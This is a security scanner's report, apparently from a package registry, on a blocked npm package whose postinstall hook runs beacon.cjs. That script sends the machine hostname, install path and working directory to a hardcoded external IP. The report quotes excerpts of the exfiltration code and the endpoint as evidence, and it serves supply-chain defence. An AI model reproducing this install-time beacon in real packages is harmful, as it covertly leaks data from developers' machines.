registry / Data exfiltration / @ecg-internal/js-react-i18n
@ecg-internal/js-react-i18n
Compatibility shim.
This report shows the evidence for @ecg-internal/js-react-i18n@99.0.1. 5 of 5 known versions are blocked or flagged. See all versions.
AI Security Review
scanned 2h ago · by lpm-firewall-aiThe automatic install hook and fixed-recipient transmission of host-identifying metadata establish unconsented installation-time data disclosure. This supports blocking publication as data exfiltration.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Package installation runs the postinstall script; importing index.js also invokes the sender.
Impact
The external recipient receives identifying information about the machine and package installation.
Mechanism
beacon.cjs sends a JSON POST containing the hostname, install path, and working directory to a hardcoded IP address, without a visible consent check.
Attack narrative
During postinstall, the package runs beacon.cjs, which sends the machine hostname, install path, and working directory to a fixed external IP address. Importing index.js also invokes the sender. The inspected source shows no consent gate for either trigger.
AI rationale
The automatic install hook and fixed-recipient transmission of host-identifying metadata establish unconsented installation-time data disclosure. This supports blocking publication as data exfiltration.
Evidence
package.jsonbeacon.cjsindex.js
Network endpoints1
185.158.107.175:8787/_ah/dc
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json runs beacon.cjs automatically during postinstall.
- beacon.cjs sends a POST to a fixed external IP address.
- The payload includes the machine hostname, install path, and working directory.
- Importing index.js also calls the beacon sender.
Evidence against
Behavioral surface
Network
UrlStrings
Source & flagged code
8 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg7"postinstall": "node beacon.cjs"
},
"files": [
"index.js",
"beacon.cjs",
"README.md"
],
"license": "MIT"
}
High
Suspicious Lifecycle Evidence
package.json runs beacon.cjs automatically during postinstall.
package.jsonView on unpkg · L7beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "@ecg-internal/js-react-i18n";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
Findings
8 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidenceindex.js
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to @ecg-internal/js-react-i18n@99.0.1.
The versions list below shows the verdict for each recorded version.
- Avoid installing @ecg-internal/js-react-i18n@99.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.